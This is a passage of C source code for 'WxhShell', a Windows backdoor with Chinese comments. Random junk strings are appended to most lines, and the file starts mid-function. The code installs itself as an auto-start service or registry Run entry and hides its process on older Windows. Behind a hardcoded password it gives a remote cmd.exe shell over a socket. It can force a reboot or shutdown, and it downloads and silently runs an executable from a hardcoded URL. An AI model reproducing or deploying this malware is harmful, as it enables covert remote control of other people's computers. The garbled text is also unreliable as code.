    ExitThread(0); 6?tlU>A2s  
    } 68fiG  
    break; G"5D< ]  
    } Lo.rvt  
  // 关机 `mfq 2bVc  
  case 'd': { Fh|#u:n  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); SymwAS+  
    if(Boot(SHUTDOWN)) R7 jmv n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >r@.F%  
    else { Bh`N[\r  
    closesocket(wsh); +avMX&%  
    ExitThread(0); YUU-D(  
    } G6P)C##ibn  
    break; ji1HV1S  
    } VZka}7a  
  // 获取shell ]va>ex$d  
  case 's': { _n8GWBi  
    CmdShell(wsh); IA zZ1#/3  
    closesocket(wsh); +gd2|`#  
    ExitThread(0); NH<gU_s8{9  
    break; ./vZe_o)j$  
  } AFvgbn8Qh  
  // 退出 ,QIF &  
  case 'x': { [jdFA<Is  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); INs!Ame2  
    CloseIt(wsh); e1myH6$W  
    break; RrZM&lXY  
    } }kHdK vZ  
  // 离开 *.-.iY.a]  
  case 'q': { 1F8 W9b^D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); f"u *D,/sS  
    closesocket(wsh); <:>SGSE9  
    WSACleanup(); &GTI  
    exit(1); 3f Xv4R;!:  
    break; \`V$ 'B{.  
        } '7Nr8D4L  
  } Cb t{ H}I3  
  } ]M>9ULQ  
N]EcEM#  
  // 提示信息 1LJuCI=~  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gJiK+&8I  
} -$VZte x  
  } dC e4u<so\  
5<pftTcZ  
  return; kv,%(en]  
} hVT~~n`Rj  
)5j;KI%t  
// shell模块句柄 V3;.{0k  
int CmdShell(SOCKET sock) ]?1Y e8>Y<  
{ SnlyUP~P  
STARTUPINFO si; Pz#7h*;cw.  
ZeroMemory(&si,sizeof(si)); qSqI7ptA\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; keW~ NM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GDhE[of  
PROCESS_INFORMATION ProcessInfo; 4D%9Rc0 G  
char cmdline[]="cmd"; '3]p29v{  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); g[ 0<m#"  
  return 0; v0Dq@Q1  
} &c(WE RW?-  
$mmup|;(  
// 自身启动模式 >h2%[j=  
int StartFromService(void) uJHu>M}~  
{ v[@c*wo  
typedef struct 87)zCq  
{ /){KOCBl;  
  DWORD ExitStatus; ,oxcq?7#4  
  DWORD PebBaseAddress; iqQUtE]E_  
  DWORD AffinityMask; GuZ ( &G6*  
  DWORD BasePriority; 4H5pr  
  ULONG UniqueProcessId; jN-vY<?h]  
  ULONG InheritedFromUniqueProcessId; P7ph}mB  
}   PROCESS_BASIC_INFORMATION; etT +  
H.<a`m m8  
PROCNTQSIP NtQueryInformationProcess; e~ aqaY~}  
[3l*F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; CM)Q&:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g*)K/Z0pJ$  
u~ ~R9.  
  HANDLE             hProcess; M/?KV9Xk2  
  PROCESS_BASIC_INFORMATION pbi; 9odJr]  
"'8KV\/D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .@-9'<K?~  
  if(NULL == hInst ) return 0; ML-)I&>tT  
|4mpohX  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Cz4)Yz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `b8v1Os^2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +')f6P;t>=  
=cN&A_L(  
  if (!NtQueryInformationProcess) return 0; Y={&5Mir  
RjF'x  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); QIN."&qC^  
  if(!hProcess) return 0; ri`R<l8  
$@d9<83=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; wiaX&-c]8  
QB:i/9  
  CloseHandle(hProcess); mNf8kwr  
pME{jD  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ZKQ hbNT  
if(hProcess==NULL) return 0; bWl5(S` Z  
4L-:*b_v\  
HMODULE hMod; L- pVltX  
char procName[255]; xvzr:p P  
unsigned long cbNeeded; -yGDh+-  
,*4p?|A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ZT02"3F  
1:NrP'W^  
  CloseHandle(hProcess); =NbI%  
a9n^WOJ6  
if(strstr(procName,"services")) return 1; // 以服务启动 qQpnLV4  
(>mI'!4d  
  return 0; // 注册表启动 t E` cau  
} :Ih|en^w  
y@j,a  
// 主模块 ) xbO6V  
int StartWxhshell(LPSTR lpCmdLine) Tu{h<Zy  
{ ve ~05mg  
  SOCKET wsl; EF pIp4_Y  
BOOL val=TRUE; hS[ yNwD  
  int port=0; t1VH doNN  
  struct sockaddr_in door; 2^t#6XBk/  
+(xeT+J  
  if(wscfg.ws_autoins) Install(); vA$o~?a]/  
7'wS\/e4a  
port=atoi(lpCmdLine); rC:?l(8ng3  
L,d LE-L  
if(port<=0) port=wscfg.ws_port; TI9UXa:V\  
w ;daC(:  
  WSADATA data; hYQ_45Z*?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *A}cL  
g }laG8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   st"{M\.p  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Oz|K8p  
  door.sin_family = AF_INET; _#$ *y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?JV|dM  
  door.sin_port = htons(port); 6"c1;P!4   
'Dvv?>=&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mh<=[J,%p  
closesocket(wsl); eI1GXQ%  
return 1; aNyvNEV3C  
} ^xf<nNF:p  
axHK_1N{  
  if(listen(wsl,2) == INVALID_SOCKET) { ]$U xCu  
closesocket(wsl); 0y<wvLv2C  
return 1; C^ Q tSha  
} 9}B`uJ  
  Wxhshell(wsl); /(O$(35  
  WSACleanup();  g PAX4'  
[2ax>Yk$  
return 0; vP7K9K x  
GDYFU* 0  
} 9%* wb`&  
>3awn*N  
// 以NT服务方式启动 Kj=b[ e%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) y9#$O(G  
{ SXao|{?O  
DWORD   status = 0; p3/*fH98  
  DWORD   specificError = 0xfffffff; DzQ1%!  
~&\ f|%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P}.7Mehf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; DK0.R]&4(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !v]b(z`Y  
  serviceStatus.dwWin32ExitCode     = 0; ExHKw~y9  
  serviceStatus.dwServiceSpecificExitCode = 0; ) 'j:  
  serviceStatus.dwCheckPoint       = 0; R),zl_d_  
  serviceStatus.dwWaitHint       = 0; =)O,`.M.Y  
ogFKUD*h&>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `OymAyEYQ  
  if (hServiceStatusHandle==0) return; ~}K5#<   
8q`$y$06Dk  
status = GetLastError(); ^-FRTC  
  if (status!=NO_ERROR) |[9?ma  
{ &C>/L;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; GE|+fYVM-$  
    serviceStatus.dwCheckPoint       = 0; ~[k%oA%W  
    serviceStatus.dwWaitHint       = 0; UD~p'^.m_  
    serviceStatus.dwWin32ExitCode     = status; $D31Q[p=+  
    serviceStatus.dwServiceSpecificExitCode = specificError; N_L,]QT?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  p!Eft/A(  
    return; .qk]$LJF7  
  } PpLU  
[sW.CK= 3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Og;-B0,A  
  serviceStatus.dwCheckPoint       = 0; EBtLzbj  
  serviceStatus.dwWaitHint       = 0; #d{=\$=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); G8W#<1LE  
} RtG}h[k/X  
"U. ^lkN  
// 处理NT服务事件,比如:启动、停止 `IYuz:  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  p0.|<  
{ M4ozTp<$O  
switch(fdwControl) K/ &?VIi`z  
{ fjnTe  
case SERVICE_CONTROL_STOP:  `[zQf  
  serviceStatus.dwWin32ExitCode = 0; XPB9~::  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =66Nw(E.  
  serviceStatus.dwCheckPoint   = 0; E&Qi@Ty  
  serviceStatus.dwWaitHint     = 0; pj?XLiM54%  
  { P,ua<B}L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bslrqUk_`=  
  } Y2o6kS{x  
  return; )Qm[[pnj  
case SERVICE_CONTROL_PAUSE: "uLjIIl  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +!f=jg06  
  break; ? muzU.h"z  
case SERVICE_CONTROL_CONTINUE: B= keBO](@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %LXM+<N8  
  break; "o& E2#  
case SERVICE_CONTROL_INTERROGATE: 5 ,0d  
  break; m8623D B"  
}; >pkT1Z&'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _md=Q$9!m  
} UN"(5a8.  
s<x1>Q7X~  
// 标准应用程序主函数 nS()u}c;r  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) U $Qv>7  
{ Hn,:`mj4-6  
K.gEj*@  
// 获取操作系统版本 @?C#r.vgp  
OsIsNt=GetOsVer(); * y^OV_n-8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Cw5%\K$=  
o`khz{SU:  
  // 从命令行安装 hVj NZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); y80ykGPT\&  
y{q*s8NY  
  // 下载执行文件 zU6a't P  
if(wscfg.ws_downexe) { j QU"Ved  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K!D o8|  
  WinExec(wscfg.ws_filenam,SW_HIDE); yV)m"j  
} K; FW  
<lr*ZSNY  
if(!OsIsNt) { H7i$xWs  
// 如果时win9x,隐藏进程并且设置为注册表启动 k {-  
HideProc(); k\Q ,h75  
StartWxhshell(lpCmdLine); d@mo!zu  
} HxK$4I`  
else 8\<jyJ  
  if(StartFromService()) p}Fs'l?7Rq  
  // 以服务方式启动 -Xz?s  
  StartServiceCtrlDispatcher(DispatchTable); OT %nrzP  
else 1Xy]D  
  // 普通方式启动 _DRrznaw  
  StartWxhshell(lpCmdLine); W;?(,xx  
:5GZ\Z8F  
return 0; '2hbJk  
} >Ps7I  
t+CWeCp,  
NGYyn`Lx  
h5 Vv:C  
=========================================== +b;hBb]R  
W{XkV Ke1a  
+@X5!S6  
5)1+~B  
^EVc95|Z  
{Hr$wa~  
" wLuv6\E  
_eLWQ|6Fx  
#include <stdio.h> 59(U`X  
#include <string.h> QD{:vG g  
#include <windows.h> `h;k2Se5  
#include <winsock2.h> lC 97_ T  
#include <winsvc.h> dAJ,x =`  
#include <urlmon.h> '+<(;2Z vL  
F?Ju?? O  
#pragma comment (lib, "Ws2_32.lib") \^*< y-jL  
#pragma comment (lib, "urlmon.lib") Y^$HrI(vq  
<(@Syv)  
#define MAX_USER   100 // 最大客户端连接数 h%d^Gq~  
#define BUF_SOCK   200 // sock buffer  &O[s:  
#define KEY_BUFF   255 // 输入 buffer 4^c- D  
SEKN|YQV/t  
#define REBOOT     0   // 重启 g. %  
#define SHUTDOWN   1   // 关机 hwnx<f '  
T0j2a &Pv  
#define DEF_PORT   5000 // 监听端口 IL7`0cN(  
jW*1E *"  
#define REG_LEN     16   // 注册表键长度 Z.&\=qiY  
#define SVC_LEN     80   // NT服务名长度 x@P{l&:>  
4yMW^:@  
// 从dll定义API ?_6YtR,{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b|^I<7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nbofYI$rd&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); t$^l<ppQ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D)='8jV7  
0Flu\w/+P  
// wxhshell配置信息 x )5V.q  
struct WSCFG { j{#Wn !,  
  int ws_port;         // 监听端口 'p)Q68;&  
  char ws_passstr[REG_LEN]; // 口令 =4C}{IL  
  int ws_autoins;       // 安装标记, 1=yes 0=no j'Y / H5  
  char ws_regname[REG_LEN]; // 注册表键名 Ex@`O+  
  char ws_svcname[REG_LEN]; // 服务名 tP ~zKU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .M|>u_<Qd  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 f<[jwhCWV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i~=s^8n`l  
int ws_downexe;       // 下载执行标记, 1=yes 0=no l52a\/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5''*UFIF1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {}e^eJ  
!7H6i#g*  
}; zLjgCS<7  
g+q@i{Yn  
// default Wxhshell configuration E|Bd>G  
struct WSCFG wscfg={DEF_PORT, $]d*0^J 6  
    "xuhuanlingzhe", ^Uw[x\%#gD  
    1, p|6v~  
    "Wxhshell", ~JZ3a0$^  
    "Wxhshell", l_FGZ!7  
            "WxhShell Service", a,'Cyv">  
    "Wrsky Windows CmdShell Service", <2Y0{ 8)  
    "Please Input Your Password: ", 6=|&tE  
  1, 6DS43AQs  
  "http://www.wrsky.com/wxhshell.exe", (4~WWU (iT  
  "Wxhshell.exe" K6\` __mLf  
    }; 34C``i  
u7]<=*V]  
// 消息定义模块 _45cH{$sA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; O@U?IF$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,^T]UHRO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $B\E.ml.  
char *msg_ws_ext="\n\rExit."; |:iEfi]j  
char *msg_ws_end="\n\rQuit."; ~P1_BD(  
char *msg_ws_boot="\n\rReboot..."; !oSLl.fQd  
char *msg_ws_poff="\n\rShutdown..."; 4-4?IwS  
char *msg_ws_down="\n\rSave to "; G^h_ YjR`*  
/MMtTB H  
char *msg_ws_err="\n\rErr!"; DMgBcP  
char *msg_ws_ok="\n\rOK!"; o 5Zyh26  
[$:,-Q@  
char ExeFile[MAX_PATH]; "h$R ]~eG  
int nUser = 0; a#(U2OP  
HANDLE handles[MAX_USER]; vgPUIxB@  
int OsIsNt; D(Ix!G/  
3l:QeZ  
SERVICE_STATUS       serviceStatus; B#N7qoi  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  .Oo/y0E^  
i*tv,f.(  
// 函数声明 ~@c-*  
int Install(void); g,lY ut  
int Uninstall(void);  0%Q9}l#7  
int DownloadFile(char *sURL, SOCKET wsh); hYt7kq!"  
int Boot(int flag); 9 pKm*n&  
void HideProc(void); X BI;Lg  
int GetOsVer(void); @6.]!U4w  
int Wxhshell(SOCKET wsl); eqzTQen8q  
void TalkWithClient(void *cs); = t+('  
int CmdShell(SOCKET sock); _x\m|SF_g  
int StartFromService(void); qb7^VIo%c  
int StartWxhshell(LPSTR lpCmdLine); }5S2p@W)  
 Dt}dp_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F?*k}]Gi  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?vbDB4  
[!+D <Y  
// 数据结构和表定义 !'c| N9  
SERVICE_TABLE_ENTRY DispatchTable[] = d.}}s$Q  
{ jn=ug42d  
{wscfg.ws_svcname, NTServiceMain}, Lt<oi8'N  
{NULL, NULL} -{x(`9H;  
}; |'w^n  
7>je6*(K  
// 自我安装 t[O+B 6  
int Install(void) rc~Y=m   
{ gRvJ.Q{h  
  char svExeFile[MAX_PATH]; "@t-Cy:!O  
  HKEY key; $[e%&h@JR  
  strcpy(svExeFile,ExeFile); N du7nKG  
[\HQPo'S  
// 如果是win9x系统,修改注册表设为自启动 )+GX<2_  
if(!OsIsNt) { ,VG9)K 1K  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zzJ^x8#R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y?!/>q  
  RegCloseKey(key); $%}>zqD1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {visv{R<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }u^:MI  
  RegCloseKey(key); Ru7L>(Njs  
  return 0; Yf (im  
    } HTNA])G  
  }  GVp  
} hmzair3X  
else { -Op@y2+c  
ABiC9[Q0  
// 如果是NT以上系统,安装为系统服务 -- S"w@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lZ a?Y@  
if (schSCManager!=0) vahf]2jEB  
{ NKh,z& _5-  
  SC_HANDLE schService = CreateService u[[/w&UV.,  
  ( (-2R{! A  
  schSCManager, }:^XX0:FK  
  wscfg.ws_svcname, KZ\dB;W< |  
  wscfg.ws_svcdisp, sA2o2~AmM  
  SERVICE_ALL_ACCESS, jEE_D +K  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Q!) z)-hI  
  SERVICE_AUTO_START, bw;iz ,Z  
  SERVICE_ERROR_NORMAL, 1}DerX6  
  svExeFile, :|($,3*  
  NULL, It\BbG=  
  NULL, -d_ 7*>m$  
  NULL, &Q+]t"OA!  
  NULL, w%~qB5wF6  
  NULL Zjt9vS)  
  ); R`3x=q  
  if (schService!=0) JJNmpUJ  
  { 5=.7\#D  
  CloseServiceHandle(schService); yTj p-  
  CloseServiceHandle(schSCManager); uXP- J]>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WhenwQT  
  strcat(svExeFile,wscfg.ws_svcname); scmto cm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3DI^y` av  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); G4);/#  
  RegCloseKey(key); 5F03y`@ u  
  return 0; `E%(pjG  
    } |w,^"j2R  
  } u= l0f6W  
  CloseServiceHandle(schSCManager); r'PE5xqF  
} SNxz*`@4  
} T:'+6  
* S{\#s  
return 1; {Ot[WF  
} KMe.i'  
, Z4p0M  
// 自我卸载 !r2}59 J  
int Uninstall(void) =_pmy>_z  
{ .Wh6(LDY(  
  HKEY key; Q%$i@JH`m  
M3PVixli3  
if(!OsIsNt) { }kv)IJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l]/> `62  
  RegDeleteValue(key,wscfg.ws_regname); 7j95"mI  
  RegCloseKey(key); : (RL8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <EOg,"F  
  RegDeleteValue(key,wscfg.ws_regname); IwnYJp:9v  
  RegCloseKey(key); Ta,u-!/ I  
  return 0; y!BB7cK6  
  } n<+~ zQ  
} iF+S%aPd#  
} M Yu?&}%^  
else { WY3_7k8u  
U0zW9jB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); UzN8G$92qF  
if (schSCManager!=0) B\NcCp`5  
{ @!,D%]8"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -^y1iN'D  
  if (schService!=0) pO5v*oONz+  
  { l`oT:  
  if(DeleteService(schService)!=0) { QM7[O]@  
  CloseServiceHandle(schService); bQ i<0|S  
  CloseServiceHandle(schSCManager); 3l.Nz@a*  
  return 0; #Xj;f^}/  
  } /S/tE  
  CloseServiceHandle(schService); C!`>cUhE{  
  } /;[}=JL<Q  
  CloseServiceHandle(schSCManager); }q/(D?  
} pEJ#ad  
} TIKEg10I  
fWqv3nY^  
return 1; <b3x(/  
} ;c nnqT6  
,q/tyGj  
// 从指定url下载文件 G)4 ZK#wz  
int DownloadFile(char *sURL, SOCKET wsh) ipgN<|`?@  
{ B?!9W@  
  HRESULT hr; *c!;^Qyp&  
char seps[]= "/"; aGdpec v  
char *token; z^ YeMe  
char *file; _95- -\  
char myURL[MAX_PATH]; ;sm"\.jF  
char myFILE[MAX_PATH]; !XkymIX~O.  
k{zs578h2  
strcpy(myURL,sURL); b*@&c9I;q  
  token=strtok(myURL,seps); 0@JilGk1u  
  while(token!=NULL) q+r ` e  
  { (ej:_w1  
    file=token; M ,Zm|3L  
  token=strtok(NULL,seps); 5~v(AB(x  
  } BYkVg2D(  
m j'"Z75  
GetCurrentDirectory(MAX_PATH,myFILE); ^mS.HT=X  
strcat(myFILE, "\\"); z +y;y&P  
strcat(myFILE, file); BLWA!-  
  send(wsh,myFILE,strlen(myFILE),0); |Gf1^8:C9  
send(wsh,"...",3,0); tCd{G c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5@GD} oAn6  
  if(hr==S_OK) 3w[<cq.!  
return 0; wpAw/-/  
else LuQ"E4;nY%  
return 1; pE$|2v  
>_|Z{:z]d.  
} Q$/V)0  
+9Xu"OFm  
// 系统电源模块 ey'pm\Z  
int Boot(int flag) a3b2nAIl  
{ u^j8 XOT  
  HANDLE hToken; ^D% }V-"  
  TOKEN_PRIVILEGES tkp; *#ob5TBq[  
9;>@"e21R  
  if(OsIsNt) { 6M O|s1zk  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3ybK6!g`[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @&!=m]D*  
    tkp.PrivilegeCount = 1; U)O?| VN^o  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 94Kuy@0:+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8@9hU`H8l  
if(flag==REBOOT) { 6R$ F =MB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9~LpO>-  
  return 0; g&oc=f`  
} mf Wz@=0  
else { ~%cSckE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BXQ\A~P\  
  return 0; fxLE]VJQ  
} X|lElN  
  } +0oyt?  
  else { c4!c_a2pS  
if(flag==REBOOT) { .Um?5wG~i  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =!1-AR%.^  
  return 0; v#FJ+  
} {ar5c&<  
else { 'xLM>6[wz  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,v$2'm)V  
  return 0; ~#HH;q_7m  
} k;"R y8[k  
} /8P4%[\  
>o0&:h|>$'  
return 1; ! 0>!tW  
} \]L::"![?  
;PP_3`  
// win9x进程隐藏模块 X]3l| D  
void HideProc(void) =hZ&66  
{ ft~|  
CPF>^Mp#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); )V9Mcr*Ce6  
  if ( hKernel != NULL ) l`~a}y"n  
  { Z>>gXh<e[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8|S1|t,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ! 4qps$p{  
    FreeLibrary(hKernel); p[af[!  
  } :>AW@SoTp  
q:EzKrE  
return; =:CGl   
} h;4y=UU  
kb>Vw<NtE  
// 获取操作系统版本 $ly#zQR  
int GetOsVer(void) <ZHY3  
{ lzr>WbM{{p  
  OSVERSIONINFO winfo; :$GL.n-?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); RJ=c[nb  
  GetVersionEx(&winfo); wM2)KM}$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) U 3wsWSO  
  return 1; B4\:2hBq  
  else ]|((b/L3  
  return 0; hX'z]Am<  
} _4XoUE\\  
`ohF?5J,  
// 客户端句柄模块 do?S,'(g  
int Wxhshell(SOCKET wsl) (:j+[3Ht  
{ +_-)0[+p  
  SOCKET wsh; BW;=i.  
  struct sockaddr_in client; ( TbB?X}  
  DWORD myID; ||*&g2Y  
A^= Hu,"e  
  while(nUser<MAX_USER) U:pLnNp`  
{ fRv S@  
  int nSize=sizeof(client); :) Fp B"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YQB]t=Ha  
  if(wsh==INVALID_SOCKET) return 1; Q J(e*/  
YfrTvKX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4? /ot;>2  
if(handles[nUser]==0) 0?&aV_:;X  
  closesocket(wsh); a\[fC=]r:  
else mNBpb}  
  nUser++; x jP" 'yU  
  } +lDGr/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); F-reb5pt.=  
*+,Lc1|\  
  return 0; SCI-jf3WN  
} 56O<CgJF<  
)z4kP09  
// 关闭 socket !5' 8a5  
void CloseIt(SOCKET wsh) I ")"s  
{ @$b+~X)7  
closesocket(wsh); um_M}t{  
nUser--; !w;A=  
ExitThread(0); v#<+n{B  
} q=E}#[EgY  
[V#&sAe  
// 客户端请求句柄 u {E^<fW]  
void TalkWithClient(void *cs) *"wD& E?  
{ f-f\}G&G  
#(7RX}  
  SOCKET wsh=(SOCKET)cs; ]Xkc0E1  
  char pwd[SVC_LEN]; NkjQyMF  
  char cmd[KEY_BUFF]; No92Y^~/  
char chr[1]; OL mBh3&  
int i,j; )*$  
\.{pZMM  
  while (nUser < MAX_USER) { I}g|n0o  
45O6TqepN  
if(wscfg.ws_passstr) { ^&G O4u  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x"C93ft[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BB73' W8y  
  //ZeroMemory(pwd,KEY_BUFF); te)g',#lT  
      i=0; ~i_ R%z:y  
  while(i<SVC_LEN) { B"E(Y M  
 JY050FL  
  // 设置超时 Velbq  
  fd_set FdRead; ,n,7.m.D  
  struct timeval TimeOut; ;uWI l  
  FD_ZERO(&FdRead); <x%my4M  
  FD_SET(wsh,&FdRead); loqS?bC ]  
  TimeOut.tv_sec=8; -WHwz m  
  TimeOut.tv_usec=0; \<MTY:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ][$$  =  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r<f-v_bxF  
eQ)ioY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [9W&1zY  
  pwd=chr[0]; "*>QxA%c4  
  if(chr[0]==0xd || chr[0]==0xa) { GF.g'wYc)Y  
  pwd=0; ;xkf ?|  
  break; YWBP'Mo  
  } BKP!+V/  
  i++; 2QuypVC ]  
    } G3?a~n^b  
s)7`r6w  
  // 如果是非法用户,关闭 socket )dN,b( w9  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8KdcLN@  
}  d7-F&!sQ  
aid)q&AcQ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G}hkr  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B8#f^}8  
])ZJ1QL1  
while(1) { BKjPmrZ|  
ewff(e9  
  ZeroMemory(cmd,KEY_BUFF); 2Z1(J% 7  
K v>#  
      // 自动支持客户端 telnet标准   z )}wo3  
  j=0; 8'_ ]gfF  
  while(j<KEY_BUFF) { VTX'f2\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XuAc3~HAd  
  cmd[j]=chr[0]; Yr(f iI  
  if(chr[0]==0xa || chr[0]==0xd) { +WEO]q?K  
  cmd[j]=0; c.me1fGn  
  break; 6`$z*C2{  
  } FVLA^$5c  
  j++; x?k |i}Q  
    } bA9dbe  
* jNu?$  
  // 下载文件 P*^UU\x'4I  
  if(strstr(cmd,"http://")) { GMp'KEQQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); AxqTPx7`|  
  if(DownloadFile(cmd,wsh)) MS^hsUj}  
